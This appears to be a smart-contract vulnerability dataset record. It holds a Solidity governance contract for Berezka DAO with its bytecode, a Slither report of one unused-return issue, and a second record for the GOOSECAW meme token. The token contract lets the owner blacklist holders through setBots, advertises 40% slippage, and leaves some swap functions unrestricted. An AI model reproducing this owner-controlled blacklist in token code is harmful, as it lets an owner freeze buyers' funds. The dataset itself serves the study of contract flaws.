pragma solidity 0.6.5; pragma experimental ABIEncoderV2; struct TypedToken { string tokenType; address token; } interface AdapterRegistry { function isValidTokenAdapter( string calldata tokenAdapterName ) external returns (bool); } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } abstract contract Ownable { modifier onlyOwner { require(msg.sender == owner, "O: onlyOwner function!"); _; } address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @notice Initializes owner variable with msg.sender address. */ constructor() internal { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @notice Transfers ownership to the desired address. * The function is callable only by the owner. */ function transferOwnership(address _owner) external onlyOwner { require(_owner != address(0), "O: new owner is the zero address!"); emit OwnershipTransferred(owner, _owner); owner = _owner; } } contract BerezkaTokenAdapterGovernance is Ownable() { AdapterRegistry internal constant ADAPTER_REGISTRY = AdapterRegistry(0x06FE76B2f432fdfEcAEf1a7d4f6C3d41B5861672); using EnumerableSet for EnumerableSet.AddressSet; /// @dev This is a set of plain assets (ERC20) used by DAO. /// This list also include addresses of Uniswap/Balancer tokenized pools. mapping (string => EnumerableSet.AddressSet) private tokens; /// @dev This is a list of all token types that are managed by contract /// New token type is added to this list upon first adding a token with given type string[] public tokenTypes; /// @dev This is a set of debt protocol adapters that return debt in ETH EnumerableSet.AddressSet private ethProtocols; /// @dev This is a set of debt protocol adapters that return debt for ERC20 tokens EnumerableSet.AddressSet private protocols; /// @dev This is a mapping from Berezka DAO product to corresponding Vault addresses mapping(address => address[]) private productVaults; constructor(address[] memory _protocols, address[] memory _ethProtocols) public { _add(protocols, _protocols); _add(ethProtocols, _ethProtocols); } // Modification functions (all only by owner) function setProductVaults(address _product, address[] memory _vaults) public onlyOwner() { require(_product != address(0), "_product is 0"); require(_vaults.length > 0, "_vaults.length should be > 0"); productVaults[_product] = _vaults; } function removeProduct(address _product) public onlyOwner() { require(_product != address(0), "_product is 0"); delete productVaults[_product]; } function addTokens(string memory _type, address[] memory _tokens) public onlyOwner() { require(_tokens.length > 0, "Length should be > 0"); require(ADAPTER_REGISTRY.isValidTokenAdapter(_type), "Invalid token adapter name"); if (tokens[_type].length() == 0) { tokenTypes.push(_type); } _add(tokens[_type], _tokens); } function addProtocols(address[] memory _protocols) public onlyOwner() { require(_protocols.length > 0, "Length should be > 0"); _add(protocols, _protocols); } function addEthProtocols(address[] memory _ethProtocols) public onlyOwner() { require(_ethProtocols.length > 0, "Length should be > 0"); _add(ethProtocols, _ethProtocols); } function removeTokens(string memory _type, address[] memory _tokens) public onlyOwner() { require(_tokens.length > 0, "Length should be > 0"); _remove(tokens[_type], _tokens); } function removeProtocols(address[] memory _protocols) public onlyOwner() { require(_protocols.length > 0, "Length should be > 0"); _remove(protocols, _protocols); } function removeEthProtocols(address[] memory _ethProtocols) public onlyOwner() { require(_ethProtocols.length > 0, "Length should be > 0"); _remove(ethProtocols, _ethProtocols); } function setTokenTypes(string[] memory _tokenTypes) public onlyOwner() { require(_tokenTypes.length > 0, "Length should be > 0"); tokenTypes = _tokenTypes; } // View functions function listTokens() external view returns (TypedToken[] memory) { uint256 tokenLength = tokenTypes.length; uint256 resultLength = 0; for (uint256 i = 0; i < tokenLength; i++) { resultLength += tokens[tokenTypes[i]].length(); } TypedToken[] memory result = new TypedToken[](resultLength); uint256 resultIndex = 0; for (uint256 i = 0; i < tokenLength; i++) { string memory tokenType = tokenTypes[i]; address[] memory typedTokens = _list(tokens[tokenType]); uint256 typedTokenLength = typedTokens.length; for (uint256 j = 0; j < typedTokenLength; j++) { result[resultIndex] = TypedToken(tokenType, typedTokens[j]); resultIndex++; } } return result; } function listTokens(string calldata _type) external view returns (address[] memory) { return _list(tokens[_type]); } function listProtocols() external view returns (address[] memory) { return _list(protocols); } function listEthProtocols() external view returns (address[] memory) { return _list(ethProtocols); } function getVaults(address _token) external view returns (address[] memory) { return productVaults[_token]; } // Internal functions function _add(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal { for (uint i = 0; i < _addresses.length; i++) { _set.add(_addresses[i]); } } function _remove(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal { for (uint i = 0; i < _addresses.length; i++) { _set.remove(_addresses[i]); } } function _list(EnumerableSet.AddressSet storage _set) internal view returns(address[] memory) { address[] memory result = new address[](_set.length()); for (uint i = 0; i < _set.length(); i++) { result[i] = _set.at(i); } return result; } }
0x608060405234801561001057600080fd5b506004361061011b5760003560e01c80637488ff76116100b2578063c8dbbf7211610081578063f2fde38b11610066578063f2fde38b1461023d578063f3697ccd14610250578063fe7c9c92146102635761011b565b8063c8dbbf7214610217578063e495eecb1461022a5761011b565b80637488ff76146101d2578063787b6725146101e75780638da5cb5b146101fa5780639bb6dfca1461020f5761011b565b806333f6832a116100ee57806333f6832a146101795780633d97aa0a146101995780634facd6a2146101ac578063665359b1146101bf5761011b565b806303ee22f2146101205780630aa1f4e01461014957806319132b601461015157806328f6274f14610166575b600080fd5b61013361012e3660046114a3565b610276565b60405161014091906116a1565b60405180910390f35b6101336102a9565b61016461015f36600461150d565b6102bb565b005b61016461017436600461150d565b610347565b61018c610187366004611564565b6104f3565b6040516101409190611794565b6101646101a73660046113f0565b6105b7565b6101646101ba3660046113b5565b610622565b6101646101cd3660046113b5565b610688565b6101da6106eb565b60405161014091906116fb565b6101646101f536600461134d565b6108f7565b61020261098f565b6040516101409190611680565b6101336109ab565b6101646102253660046113b5565b6109b7565b6101646102383660046113b5565b610a1a565b61016461024b36600461134d565b610a7d565b61016461025e366004611368565b610b74565b61013361027136600461134d565b610c3a565b60606102a06001848460405161028d9291906115c6565b9081526020016040518091039020610cca565b90505b92915050565b60606102b56005610cca565b90505b90565b60005473ffffffffffffffffffffffffffffffffffffffff1633146102fb5760405162461bcd60e51b81526004016102f290611872565b60405180910390fd5b600081511161031c5760405162461bcd60e51b81526004016102f290611804565b61034360018360405161032f91906115d6565b908152602001604051809103902082610d7c565b5050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461037e5760405162461bcd60e51b81526004016102f290611872565b600081511161039f5760405162461bcd60e51b81526004016102f290611804565b6040517fe9dd5f250000000000000000000000000000000000000000000000000000000081527306fe76b2f432fdfecaef1a7d4f6c3d41b58616729063e9dd5f25906103ef908590600401611794565b602060405180830381600087803b15801561040957600080fd5b505af115801561041d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610441919061147c565b61045d5760405162461bcd60e51b81526004016102f29061193d565b61048360018360405161047091906115d6565b9081526020016040518091039020610db7565b6104cc576002805460018101825560009190915282516104ca917f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01906020850190610fdc565b505b6103436001836040516104df91906115d6565b908152602001604051809103902082610dc2565b6002818154811061050057fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152935090918301828280156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b505050505081565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105ee5760405162461bcd60e51b81526004016102f290611872565b600081511161060f5760405162461bcd60e51b81526004016102f290611804565b805161034390600290602084019061105a565b60005473ffffffffffffffffffffffffffffffffffffffff1633146106595760405162461bcd60e51b81526004016102f290611872565b600081511161067a5760405162461bcd60e51b81526004016102f290611804565b610685600382610d7c565b50565b60005473ffffffffffffffffffffffffffffffffffffffff1633146106bf5760405162461bcd60e51b81526004016102f290611872565b60008151116106e05760405162461bcd60e51b81526004016102f290611804565b610685600582610d7c565b6002546060906000805b828110156107325761072660016002838154811061070f57fe5b9060005260206000200160405161047091906115f2565b909101906001016106f5565b5060608167ffffffffffffffff8111801561074c57600080fd5b5060405190808252806020026020018201604052801561078657816020015b6107736110b3565b81526020019060019003908161076b5790505b5090506000805b848110156108ed576060600282815481106107a457fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b50505050509050606061086c60018360405161028d91906115d6565b805190915060005b818110156108dd57604051806040016040528085815260200184838151811061089957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168152508787815181106108c657fe5b602090810291909101015260019586019501610874565b50506001909201915061078d9050565b5090935050505090565b60005473ffffffffffffffffffffffffffffffffffffffff16331461092e5760405162461bcd60e51b81526004016102f290611872565b73ffffffffffffffffffffffffffffffffffffffff81166109615760405162461bcd60e51b81526004016102f29061183b565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600760205260408120610685916110cb565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60606102b56003610cca565b60005473ffffffffffffffffffffffffffffffffffffffff1633146109ee5760405162461bcd60e51b81526004016102f290611872565b6000815111610a0f5760405162461bcd60e51b81526004016102f290611804565b610685600582610dc2565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a515760405162461bcd60e51b81526004016102f290611872565b6000815111610a725760405162461bcd60e51b81526004016102f290611804565b610685600382610dc2565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ab45760405162461bcd60e51b81526004016102f290611872565b73ffffffffffffffffffffffffffffffffffffffff8116610ae75760405162461bcd60e51b81526004016102f2906118e0565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610bab5760405162461bcd60e51b81526004016102f290611872565b73ffffffffffffffffffffffffffffffffffffffff8216610bde5760405162461bcd60e51b81526004016102f29061183b565b6000815111610bff5760405162461bcd60e51b81526004016102f2906118a9565b73ffffffffffffffffffffffffffffffffffffffff821660009081526007602090815260409091208251610c35928401906110e9565b505050565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260076020908152604091829020805483518184028101840190945280845260609392830182828015610cbe57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610c93575b50505050509050919050565b606080610cd683610db7565b67ffffffffffffffff81118015610cec57600080fd5b50604051908082528060200260200182016040528015610d16578160200160208202803683370190505b50905060005b610d2584610db7565b811015610d7557610d3c848263ffffffff610dfd16565b828281518110610d4857fe5b73ffffffffffffffffffffffffffffffffffffffff90921660209283029190910190910152600101610d1c565b5092915050565b60005b8151811015610c3557610dae828281518110610d9757fe5b602002602001015184610e0990919063ffffffff16565b50600101610d7f565b60006102a382610e2b565b60005b8151811015610c3557610df4828281518110610ddd57fe5b602002602001015184610e2f90919063ffffffff16565b50600101610dc5565b60006102a08383610e51565b60006102a08373ffffffffffffffffffffffffffffffffffffffff8416610e96565b5490565b60006102a08373ffffffffffffffffffffffffffffffffffffffff8416610f7a565b81546000908210610e745760405162461bcd60e51b81526004016102f2906117a7565b826000018281548110610e8357fe5b9060005260206000200154905092915050565b60008181526001830160205260408120548015610f705783547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8083019190810190600090879083908110610ee757fe5b9060005260206000200154905080876000018481548110610f0457fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080610f3457fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506102a3565b60009150506102a3565b6000610f868383610fc4565b610fbc575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556102a3565b5060006102a3565b60009081526001919091016020526040902054151590565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061101d57805160ff191683800117855561104a565b8280016001018555821561104a579182015b8281111561104a57825182559160200191906001019061102f565b5061105692915061116f565b5090565b8280548282559060005260206000209081019282156110a7579160200282015b828111156110a75782518051611097918491602090910190610fdc565b509160200191906001019061107a565b50611056929150611189565b60408051808201909152606081526000602082015290565b5080546000825590600052602060002090810190610685919061116f565b828054828255906000526020600020908101928215611163579160200282015b8281111561116357825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909116178255602090920191600190910190611109565b506110569291506111ac565b6102b891905b808211156110565760008155600101611175565b6102b891905b808211156110565760006111a382826111e8565b5060010161118f565b6102b891905b808211156110565780547fffffffffffffffffffffffff00000000000000000000000000000000000000001681556001016111b2565b50805460018160011615610100020316600290046000825580601f1061120e5750610685565b601f016020900490600052602060002090810190610685919061116f565b803573ffffffffffffffffffffffffffffffffffffffff811681146102a357600080fd5b600082601f830112611260578081fd5b813561127361126e8261199b565b611974565b81815291506020808301908481018184028601820187101561129457600080fd5b60005b848110156112bb576112a9888361122c565b84529282019290820190600101611297565b505050505092915050565b600082601f8301126112d6578081fd5b813567ffffffffffffffff8111156112ec578182fd5b61131d60207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f84011601611974565b915080825283602082850101111561133457600080fd5b8060208401602084013760009082016020015292915050565b60006020828403121561135e578081fd5b6102a0838361122c565b6000806040838503121561137a578081fd5b611384848461122c565b9150602083013567ffffffffffffffff81111561139f578182fd5b6113ab85828601611250565b9150509250929050565b6000602082840312156113c6578081fd5b813567ffffffffffffffff8111156113dc578182fd5b6113e884828501611250565b949350505050565b60006020808385031215611402578182fd5b823567ffffffffffffffff811115611418578283fd5b80840185601f820112611429578384fd5b8035915061143961126e8361199b565b82815283810190828501865b8581101561146e5761145c8a8884358801016112c6565b84529286019290860190600101611445565b509098975050505050505050565b60006020828403121561148d578081fd5b8151801515811461149c578182fd5b9392505050565b600080602083850312156114b5578182fd5b823567ffffffffffffffff808211156114cc578384fd5b81850186601f8201126114dd578485fd5b80359250818311156114ed578485fd5b8660208483010111156114fe578485fd5b60200196919550909350505050565b6000806040838503121561151f578182fd5b823567ffffffffffffffff80821115611536578384fd5b611542868387016112c6565b93506020850135915080821115611557578283fd5b506113ab85828601611250565b600060208284031215611575578081fd5b5035919050565b600081518084526115948160208601602086016119bb565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6000828483379101908152919050565b600082516115e88184602087016119bb565b9190910192915050565b6000808354600180821660008114611611576001811461164657611675565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0083168652607f600284041686019350611675565b600283048786526020808720875b8381101561166d5781548a820152908501908201611654565b505050860193505b509195945050505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b6020808252825182820181905260009190848201906040850190845b818110156116ef57835173ffffffffffffffffffffffffffffffffffffffff16835292840192918401916001016116bd565b50909695505050505050565b60208082528251828201819052600091906040908185019080840286018301878501865b8381101561146e577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc0898403018552815180518785526117618886018261157c565b9189015173ffffffffffffffffffffffffffffffffffffffff16948901949094529487019492509086019060010161171f565b6000602082526102a0602083018461157c565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60408201527f6473000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526014908201527f4c656e6774682073686f756c64206265203e2030000000000000000000000000604082015260600190565b6020808252600d908201527f5f70726f64756374206973203000000000000000000000000000000000000000604082015260600190565b60208082526016908201527f4f3a206f6e6c794f776e65722066756e6374696f6e2100000000000000000000604082015260600190565b6020808252601c908201527f5f7661756c74732e6c656e6774682073686f756c64206265203e203000000000604082015260600190565b60208082526021908201527f4f3a206e6577206f776e657220697320746865207a65726f206164647265737360408201527f2100000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601a908201527f496e76616c696420746f6b656e2061646170746572206e616d65000000000000604082015260600190565b60405181810167ffffffffffffffff8111828210171561199357600080fd5b604052919050565b600067ffffffffffffffff8211156119b1578081fd5b5060209081020190565b60005b838110156119d65781810151838201526020016119be565b838111156119e5576000848401525b5050505056fea2646970667358221220a974c7fe314dde90c3f59dbbe7d8c35bae1416d295fb22eb915c9cf52844445464736f6c63430006050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
561
0xb9b60f3e583fdf3394361ad443558e801be95cf9
// SPDX-License-Identifier: MIT /** GOOSECAW - Goose Caw TG https://t.me/goosecaw Max Tx 20,000 (2%) Total 1,000,000 Tax 5% Suggested slippage 40% **/ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GooseCaw is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Goose Caw"; string private constant _symbol = "GOOSECAW"; uint8 private constant _decimals = 8; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeWallet; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 public _maxTxAmount = 20000*10**_decimals; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeWallet] = true; emit MaxTxAmountUpdated(_maxTxAmount); emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); _feeAddr1 = 3; _feeAddr2 = 2; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { // buy require(amount <= _maxTxAmount); require(tradingOpen); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 3; _feeAddr2 = 2; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeWallet.transfer(amount); } function liftMaxTxPercentage(uint256 percentage) external onlyOwner{ require(percentage>1); _maxTxAmount = _tTotal.mul(percentage).div(100); emit MaxTxAmountUpdated(_maxTxAmount); } function addToSwap() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiquidity() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { swapTokensForEth(balanceOf(address(this))); } function manualsend() external { sendETHToFee(address(this).balance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
